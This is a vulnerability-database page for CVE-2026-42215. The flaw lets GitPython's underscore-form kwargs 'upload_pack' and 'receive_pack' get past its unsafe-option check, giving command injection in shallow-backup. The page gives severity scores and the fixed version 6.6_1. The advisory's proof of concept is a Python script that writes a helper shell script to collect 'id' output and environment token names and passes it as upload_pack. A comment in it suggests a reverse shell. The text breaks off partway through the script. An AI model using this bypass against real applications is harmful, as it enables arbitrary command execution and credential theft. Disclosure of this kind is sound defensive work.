VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-42215: Shallow backup · GitPython has Command Injection via Git options bypass

Affects shallow-backupSource GCVE Database

Authoritative record:CVE-2026-42215· High 8.8

Not known to be exploited · CVSS 8.8 High : upgrade to 6.6_1 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

8.8High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.7% chance of exploitation in 30 days – higher than 54% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 6.6_1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade shallow-backup to 6.6_1.

Affected software

Product	Affected	Fixed in
Homebrewshallow-backup`pkg:brew/shallow-backup`Other threats	Affected >=5.3 <6.6_1	Fixed in 6.6_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError # Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") # Setup: this wrapper is just to demo things you can do, not required for the exploit to work # you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victi

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